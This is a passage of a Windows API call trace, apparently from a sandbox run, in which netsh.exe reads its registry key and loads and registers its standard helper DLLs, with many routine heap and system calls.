Flags=0x0, Size=0x14) returned 0x15270b61290 [0041.201] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x0) returned 1 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x58) returned 0x15270b556c0 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x0) returned 1 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xb0) returned 0x15270b55040 [0041.201] GetProcessHeap () returned 0x15270b50000 [0041.201] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b556c0) returned 1 [0041.201] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ff92e3f0000 [0041.204] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x31805872e8 | out: phkResult=0x31805872e8*=0xb4) returned 0x0 [0041.204] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x3180587320, lpcbMaxValueNameLen=0x3180587330, lpcbMaxValueLen=0x3180587328, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x3180587320*=0x14, lpcbMaxValueNameLen=0x3180587330, lpcbMaxValueLen=0x3180587328, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0041.204] GetProcessHeap () returned 0x15270b50000 [0041.204] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x8, Size=0x16) returned 0x15270b613f0 [0041.204] GetProcessHeap () returned 0x15270b50000 [0041.204] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x8, Size=0x23) returned 0x15270b58740 [0041.204] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="2", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0041.204] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0041.204] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0041.204] GetProcessHeap () returned 0x15270b50000 [0041.204] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x50) returned 0x15270b616a0 [0041.204] GetProcessHeap () returned 0x15270b50000 [0041.204] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x4) returned 0x15270b5dec0 [0041.204] GetProcessHeap () returned 0x15270b50000 [0041.204] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x14) returned 0x15270b60f70 [0041.204] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0041.204] GetProcessHeap () returned 0x15270b50000 [0041.204] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b58770) returned 1 [0041.204] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff9258c0000 [0041.434] GetProcAddress (hModule=0x7ff9258c0000, lpProcName="InitHelperDll") returned 0x7ff9258c1310 [0041.434] InitHelperDll () returned 0x0 [0041.437] RegisterHelper () returned 0x0 [0041.437] GetProcessHeap () returned 0x15270b50000 [0041.437] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x108) returned 0x15270b542f0 [0041.437] GetProcessHeap () returned 0x15270b50000 [0041.437] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b55040) returned 1 [0041.627] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="4", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0041.627] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0041.627] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0041.627] GetProcessHeap () returned 0x15270b50000 [0041.627] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x78) returned 0x15270b55040 [0041.627] GetProcessHeap () returned 0x15270b50000 [0041.627] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x4) returned 0x15270b5de70 [0041.627] GetProcessHeap () returned 0x15270b50000 [0041.627] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b58920 [0041.627] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0041.627] GetProcessHeap () returned 0x15270b50000 [0041.627] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b616a0) returned 1 [0041.627] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff912e40000 [0044.112] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ff931a40000 [0044.123] GetVersion () returned 0x3ad7000a [0044.123] SetErrorMode (uMode=0x0) returned 0x0 [0044.123] SetErrorMode (uMode=0x8001) returned 0x0 [0044.123] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x15270b73030 [0044.123] LocalFree (hMem=0x15270b73030) returned 0x0 [0044.123] GetVersion () returned 0x3ad7000a [0044.124] GlobalLock (hMem=0x15272580008) returned 0x15270b73030 [0044.124] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x15270b73250 [0044.124] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x15270b693d0 [0044.124] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x15270b60e70 [0044.124] malloc (_Size=0x100) returned 0x15270dd6df0 [0044.125] __dllonexit () returned 0x7ff912c01200 [0044.125] __dllonexit () returned 0x7ff912c011f0 [0044.125] __dllonexit () returned 0x7ff912c01240 [0044.125] __dllonexit () returned 0x7ff912c012a0 [0044.125] __dllonexit () returned 0x7ff912c01390 [0044.125] __dllonexit () returned 0x7ff912c013a0 [0044.125] __dllonexit () returned 0x7ff912c01420 [0044.125] __dllonexit () returned 0x7ff912c014c0 [0044.125] __dllonexit () returned 0x7ff912c012c0 [0044.125] __dllonexit () returned 0x7ff912c259c0 [0044.125] __dllonexit () returned 0x7ff912c012e0 [0044.126] __dllonexit () returned 0x7ff912c01470 [0044.126] __dllonexit () returned 0x7ff912c01490 [0044.126] __dllonexit () returned 0x7ff912c014e0 [0044.126] __dllonexit () returned 0x7ff912c01500 [0044.126] __dllonexit () returned 0x7ff912c01520 [0044.126] __dllonexit () returned 0x7ff912c01550 [0044.126] __dllonexit () returned 0x7ff912c01610 [0044.126] __dllonexit () returned 0x7ff912c01050 [0044.126] __dllonexit () returned 0x7ff912c01070 [0044.126] __dllonexit () returned 0x7ff912c01030 [0044.129] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16e [0044.129] __dllonexit () returned 0x7ff912c259a0 [0044.129] __dllonexit () returned 0x7ff912c25980 [0044.129] __dllonexit () returned 0x7ff912c259b0 [0044.129] __dllonexit () returned 0x7ff912c25990 [0044.130] GetVersion () returned 0x3ad7000a [0044.130] GetVersion () returned 0x3ad7000a [0044.130] GetVersion () returned 0x3ad7000a [0044.130] __dllonexit () returned 0x7ff912c128e0 [0044.130] __dllonexit () returned 0x7ff912c12910 [0044.130] __dllonexit () returned 0x7ff912c01300 [0044.130] __dllonexit () returned 0x7ff912c013b0 [0044.130] __dllonexit () returned 0x7ff912c013d0 [0044.130] __dllonexit () returned 0x7ff912c126e0 [0044.130] GetVersion () returned 0x3ad7000a [0044.130] GetProcessVersion (ProcessId=0x0) returned 0xa0000 [0044.130] GetSystemMetrics (nIndex=11) returned 32 [0044.130] GetSystemMetrics (nIndex=12) returned 32 [0044.130] GetSystemMetrics (nIndex=2) returned 17 [0044.130] GetSystemMetrics (nIndex=3) returned 17 [0044.130] GetDC (hWnd=0x0) returned 0x60100ce [0044.130] GetDeviceCaps (hdc=0x60100ce, index=88) returned 96 [0044.131] GetDeviceCaps (hdc=0x60100ce, index=90) returned 96 [0044.131] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0044.131] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.131] GetSysColor (nIndex=16) returned 0xa0a0a0 [0044.131] GetSysColor (nIndex=20) returned 0xffffff [0044.131] GetSysColor (nIndex=18) returned 0x0 [0044.131] GetSysColor (nIndex=6) returned 0x646464 [0044.131] GetSysColorBrush (nIndex=15) returned 0x100072 [0044.131] GetSysColorBrush (nIndex=6) returned 0x10007a [0044.131] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0044.131] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0044.131] __dllonexit () returned 0x7ff912c01450 [0044.131] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc16d [0044.131] __dllonexit () returned 0x7ff912c126c0 [0044.131] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0044.131] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0044.131] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0044.131] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0044.131] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0044.131] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0044.131] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0044.131] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0044.132] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0044.132] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0044.132] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc07a [0044.132] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc083 [0044.132] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc16d [0044.132] __dllonexit () returned 0x7ff912c259d0 [0044.132] __dllonexit () returned 0x7ff912c259f0 [0044.132] __dllonexit () returned 0x7ff912c25a00 [0044.132] __dllonexit () returned 0x7ff912c25a10 [0044.133] __dllonexit () returned 0x7ff912c25a20 [0044.133] GetCursorPos (in: lpPoint=0x7ff912d45ae8 | out: lpPoint=0x7ff912d45ae8*(x=125, y=880)) returned 1 [0044.133] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x15270b71820 [0044.133] LocalReAlloc (hMem=0x15270b60e70, uBytes=0x18, uFlags=0x2) returned 0x15270b553a0 [0044.133] GetCurrentThread () returned 0xfffffffffffffffe [0044.133] GetCurrentThreadId () returned 0xc58 [0044.133] __dllonexit () returned 0x7ff912c01620 [0044.133] SetErrorMode (uMode=0x0) returned 0x8001 [0044.133] SetErrorMode (uMode=0x8001) returned 0x0 [0044.133] GetModuleFileNameW (in: hModule=0x7ff912c00000, lpFilename=0x31805862c0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0044.134] wcscpy_s (in: _Destination=0x31805864d0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0044.134] FindResourceW (hModule=0x7ff912c00000, lpName=0xe01, lpType=0x6) returned 0x15270d40bb0 [0044.554] LoadStringW (in: hInstance=0x7ff912c00000, uID=0xe000, lpBuffer=0x31805866e0, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0044.555] wcscpy_s (in: _Destination=0x31805862f4, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0044.555] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0044.563] malloc (_Size=0x80) returned 0x15270dd6e10 [0044.563] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x15270b735a0 [0044.563] GetSystemDirectoryA (in: lpBuffer=0x3180586960, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0044.563] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0 [0044.563] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0 [0044.563] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0 [0044.563] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0044.633] GetProcAddress (hModule=0x7ff912e40000, lpProcName="InitHelperDll") returned 0x7ff912e55850 [0044.633] InitHelperDll () returned 0x0 [0044.640] RegisterHelper () returned 0x0 [0044.640] GetProcessHeap () returned 0x15270b50000 [0044.640] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x160) returned 0x15270b6ac30 [0044.640] GetProcessHeap () returned 0x15270b50000 [0044.640] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b542f0) returned 1 [0044.640] RegisterHelper () returned 0x0 [0044.640] GetProcessHeap () returned 0x15270b50000 [0044.640] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1b8) returned 0x15270b6d540 [0044.640] GetProcessHeap () returned 0x15270b50000 [0044.640] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6ac30) returned 1 [0044.804] RegisterHelper () returned 0x0 [0044.804] GetProcessHeap () returned 0x15270b50000 [0044.804] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x210) returned 0x15270b6ac30 [0044.804] GetProcessHeap () returned 0x15270b50000 [0044.804] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6d540) returned 1 [0044.804] RegisterHelper () returned 0x0 [0044.804] GetProcessHeap () returned 0x15270b50000 [0044.804] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x268) returned 0x15270b6d540 [0044.804] GetProcessHeap () returned 0x15270b50000 [0044.804] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6ac30) returned 1 [0044.804] RegisterHelper () returned 0x0 [0044.804] GetProcessHeap () returned 0x15270b50000 [0044.805] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x2c0) returned 0x15270b756b0 [0044.805] GetProcessHeap () returned 0x15270b50000 [0044.805] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6d540) returned 1 [0044.805] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="authfwcfg", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0044.805] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0044.805] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0044.805] GetProcessHeap () returned 0x15270b50000 [0044.805] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xa0) returned 0x15270b552e0 [0044.805] GetProcessHeap () returned 0x15270b50000 [0044.805] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x14) returned 0x15270b60e70 [0044.805] GetProcessHeap () returned 0x15270b50000 [0044.805] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1c) returned 0x15270b69880 [0044.805] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0044.805] GetProcessHeap () returned 0x15270b50000 [0044.805] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b55040) returned 1 [0044.805] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff912a50000 [0045.706] GetProcAddress (hModule=0x7ff912a50000, lpProcName="InitHelperDll") returned 0x7ff912a51430 [0045.706] InitHelperDll () returned 0x0 [0045.808] RegisterHelper () returned 0x0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x318) returned 0x15270b76190 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b756b0) returned 1 [0045.808] RegisterHelper () returned 0x0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x370) returned 0x15270b764b0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b76190) returned 1 [0045.808] RegisterHelper () returned 0x0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x3c8) returned 0x15270b76830 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b764b0) returned 1 [0045.808] RegisterHelper () returned 0x0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x420) returned 0x15270b76190 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b76830) returned 1 [0045.808] RegisterHelper () returned 0x0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.808] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x478) returned 0x15270b765c0 [0045.808] GetProcessHeap () returned 0x15270b50000 [0045.809] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b76190) returned 1 [0045.809] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="dhcpclient", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0045.809] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0045.809] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0045.809] GetProcessHeap () returned 0x15270b50000 [0045.809] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xc8) returned 0x15270b68b50 [0045.809] GetProcessHeap () returned 0x15270b50000 [0045.809] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x16) returned 0x15270b75d10 [0045.809] GetProcessHeap () returned 0x15270b50000 [0045.809] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x22) returned 0x15270b69910 [0045.809] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0045.809] GetProcessHeap () returned 0x15270b50000 [0045.809] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b552e0) returned 1 [0045.809] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff912810000 [0046.253] GetProcAddress (hModule=0x7ff912810000, lpProcName="InitHelperDll") returned 0x7ff912811610 [0046.253] InitHelperDll () returned 0x0 [0046.253] RegisterHelper () returned 0x0 [0046.253] GetProcessHeap () returned 0x15270b50000 [0046.253] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x4d0) returned 0x15270b77250 [0046.253] GetProcessHeap () returned 0x15270b50000 [0046.253] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b765c0) returned 1 [0046.253] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="dot3cfg", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0046.253] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0046.253] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0046.253] GetProcessHeap () returned 0x15270b50000 [0046.253] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xf0) returned 0x15270b542f0 [0046.253] GetProcessHeap () returned 0x15270b50000 [0046.253] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b760b0 [0046.253] GetProcessHeap () returned 0x15270b50000 [0046.253] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x18) returned 0x15270b75f30 [0046.253] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0046.253] GetProcessHeap () returned 0x15270b50000 [0046.253] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b68b50) returned 1 [0046.253] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff912590000 [0048.555] GetProcAddress (hModule=0x7ff912590000, lpProcName="InitHelperDll") returned 0x7ff912591100 [0048.555] InitHelperDll () returned 0x0 [0048.555] RegisterHelper () returned 0x0 [0048.555] GetProcessHeap () returned 0x15270b50000 [0048.555] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x528) returned 0x15270b77ee0 [0048.555] GetProcessHeap () returned 0x15270b50000 [0048.555] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b77250) returned 1 [0048.555] RegEnumValueW (in: hKey=0xb4, dwIndex=0x5, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="fwcfg", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0048.555] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0048.555] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0048.555] GetProcessHeap () returned 0x15270b50000 [0048.555] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x118) returned 0x15270b69b00 [0048.555] GetProcessHeap () returned 0x15270b50000 [0048.555] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0xc) returned 0x15270b75cb0 [0048.555] GetProcessHeap () returned 0x15270b50000 [0048.555] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x14) returned 0x15270b75d50 [0048.555] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0048.555] GetProcessHeap () returned 0x15270b50000 [0048.555] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b542f0) returned 1 [0048.555] LoadLibraryExW (lpLibFileName="FWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff912000000 [0049.171] GetProcAddress (hModule=0x7ff912000000, lpProcName="InitHelperDll") returned 0x7ff9120011f0 [0049.171] InitHelperDll () returned 0x0 [0049.172] RegisterHelper () returned 0x0 [0049.172] GetProcessHeap () returned 0x15270b50000 [0049.172] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x580) returned 0x15270b79420 [0049.172] GetProcessHeap () returned 0x15270b50000 [0049.172] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b77ee0) returned 1 [0049.172] RegEnumValueW (in: hKey=0xb4, dwIndex=0x6, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="hnetmon", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0049.172] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0049.172] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0049.172] GetProcessHeap () returned 0x15270b50000 [0049.172] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x140) returned 0x15270b6ac30 [0049.172] GetProcessHeap () returned 0x15270b50000 [0049.172] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b75e10 [0049.172] GetProcessHeap () returned 0x15270b50000 [0049.172] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x18) returned 0x15270b75ab0 [0049.172] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0049.172] GetProcessHeap () returned 0x15270b50000 [0049.172] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b69b00) returned 1 [0049.172] LoadLibraryExW (lpLibFileName="HNETMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911ff0000 [0050.806] GetProcAddress (hModule=0x7ff911ff0000, lpProcName="InitHelperDll") returned 0x7ff911ff2060 [0050.806] InitHelperDll () returned 0x0 [0050.806] RegisterHelper () returned 0x0 [0050.806] GetProcessHeap () returned 0x15270b50000 [0050.806] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x5d8) returned 0x15270b80fb0 [0050.806] GetProcessHeap () returned 0x15270b50000 [0050.806] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b79420) returned 1 [0050.806] RegEnumValueW (in: hKey=0xb4, dwIndex=0x7, lpValueName=0x15270b613f0, lpcchValueName=0x31805872e0, lpReserved=0x0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338 | out: lpValueName="netiohlp", lpcchValueName=0x31805872e0, lpType=0x0, lpData=0x15270b58740, lpcbData=0x3180587338) returned 0x0 [0050.806] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0050.806] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0050.806] GetProcessHeap () returned 0x15270b50000 [0050.806] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x168) returned 0x15270b756b0 [0050.807] GetProcessHeap () returned 0x15270b50000 [0050.807] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x12) returned 0x15270b75d30 [0050.807] GetProcessHeap () returned 0x15270b50000 [0050.807] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x1a) returned 0x15270b76ee0 [0050.807] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0050.807] GetProcessHeap () returned 0x15270b50000 [0050.807] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b6ac30) returned 1 [0050.807] LoadLibraryExW (lpLibFileName="NETIOHLP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911bb0000 [0052.083] GetProcAddress (hModule=0x7ff911bb0000, lpProcName="InitHelperDll") returned 0x7ff911bc5f80 [0052.083] InitHelperDll () returned 0x0 [0052.083] RegisterHelper () returned 0x0 [0052.083] GetProcessHeap () returned 0x15270b50000 [0052.083] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x630) returned 0x15270b81da0 [0052.083] GetProcessHeap () returned 0x15270b50000 [0052.083] RtlFreeHeap (HeapHandle=0x15270b50000, Flags=0x0, BaseAddress=0x15270b80fb0) returned 1 [0052.083] RegisterHelper () returned 0x0 [0052.083] GetProcessHeap () returned 0x15270b50000 [0052.083] RtlAllocateHeap 